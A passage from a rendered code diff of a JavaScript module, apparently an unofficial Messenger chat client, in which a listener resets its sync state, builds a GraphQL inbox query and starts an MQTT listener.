         
            +
                    if (!ctx.firstListen) ctx.lastSeqId = null;
         
     | 
| 
      
 700 
     | 
    
         
            +
                    ctx.syncToken = undefined;
         
     | 
| 
      
 701 
     | 
    
         
            +
                    ctx.t_mqttCalled = false;
         
     | 
| 
      
 702 
     | 
    
         
            +
             
     | 
| 
      
 703 
     | 
    
         
            +
                    //Same request as getThreadList
         
     | 
| 
      
 704 
     | 
    
         
            +
                    form = {
         
     | 
| 
      
 705 
     | 
    
         
            +
                        "av": ctx.globalOptions.pageID,
         
     | 
| 
      
 706 
     | 
    
         
            +
                        "queries": JSON.stringify({
         
     | 
| 
      
 707 
     | 
    
         
            +
                            "o0": {
         
     | 
| 
      
 708 
     | 
    
         
            +
                                "doc_id": "3336396659757871",
         
     | 
| 
      
 709 
     | 
    
         
            +
                                "query_params": {
         
     | 
| 
      
 710 
     | 
    
         
            +
                                    "limit": 1,
         
     | 
| 
      
 711 
     | 
    
         
            +
                                    "before": null,
         
     | 
| 
      
 712 
     | 
    
         
            +
                                    "tags": ["INBOX"],
         
     | 
| 
      
 713 
     | 
    
         
            +
                                    "includeDeliveryReceipts": false,
         
     | 
| 
      
 714 
     | 
    
         
            +
                                    "includeSeqID": true
         
     | 
| 
      
 715 
     | 
    
         
            +
                                }
         
     | 
| 
      
 716 
     | 
    
         
            +
                            }
         
     | 
| 
      
 717 
     | 
    
         
            +
                        })
         
     | 
| 
      
 718 
     | 
    
         
            +
                    };
         
     | 
| 
      
 719 
     | 
    
         
            +
             
     | 
| 
      
 720 
     | 
    
         
            +
                    if (!ctx.firstListen || !ctx.lastSeqId) getSeqID();
         
     | 
| 
      
 721 
     | 
    
         
            +
                    else listenMqtt(defaultFuncs, api, ctx, globalCallback);
         
     | 
| 
      
 722 
     | 
    
         
            +
                    ctx.firstListen = false;
         
     | 
| 
      
 723 
     | 
    
         
            +
                    return msgEmitter;
         
     | 
| 
      
 724 
     | 
    
         
            +
                };
         
     | 
| 
      
 725 
     | 
    
         
            +
            };
         
     |